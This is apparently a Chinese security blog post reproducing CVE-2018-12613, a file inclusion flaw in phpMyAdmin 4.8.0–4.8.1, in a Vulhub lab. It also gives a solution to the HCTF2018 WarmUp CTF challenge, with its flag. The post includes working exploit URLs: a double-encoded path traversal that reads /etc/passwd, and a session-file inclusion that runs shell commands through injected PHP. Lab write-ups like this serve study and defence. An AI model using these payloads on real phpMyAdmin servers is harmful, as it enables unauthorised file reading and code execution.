phpMyAdmin 4.8.1 远程文件包含漏洞复现(CVE-2018-12613)
0x01 漏洞简介
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
影响范围
- phpMyAdmin 4.8.0
- phpMyAdmin 4.8.1
0x02 漏洞环境
使用vulnhub快速搭建靶场
1 | cd /vulhub/phpmyadmin/CVE-2018-12613 |
环境启动后,访问http://your-ip:8080
,即可进入phpmyadmin。配置的是 config
模式,所以无需输入密码,直接登录test账户。
0x03 漏洞分析
漏洞问题出在index.php中的如下代码:
- target 参数不为空,并且为字符串
- target 参数不能以index开头
- target 参数不能出现在 $target_blacklist 内
- target 参数没有过滤,并且直接include包含文件
1 | if (! empty($_REQUEST['target']) |
在 /index.php 的第50行,target 参数不能在黑名单内
1 | $target_blacklist = array ( |
找到Core类的checkPageValidity方法
1 | # phpMyAdmin/libraries/classes/core.php |
问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f ,且target 参数必须是在白名单内,即可绕过验证。
白名单内容如下:
1 | 'db_datadict.php', |
0x04 漏洞利用
1. 文件读取
读取 /etc/passwd
文件,payload如下:
1 | http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |
成功读取了目标文件
2. 命令执行
执行如下SQL命令
1 | select '<?php echo `ls` ?>'; |
审查元素,找到cookie值
利用cookie值构造对应的session文件名,payload如下:
1 | # 视情况而定 |
成功执行了 ls 命令
成功写入了phpinfo
0x05 CTF 赛题
这道题出自 HCTF2018 的 WarmUp,攻防世界平台中已经收录了该题,可以前往该平台进行解答。
1 | # source.php |
题目提示flag信息
1 | # hint.php |
构造 payload :
1 | # ../是经过多次遍历目录测试得出flag所在的文件目录 |
最终得到 flag :
1 | flag{25e7bce6005c4e0c983fb97297ac6e5a} |
参考文章
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 鸣剑Sec!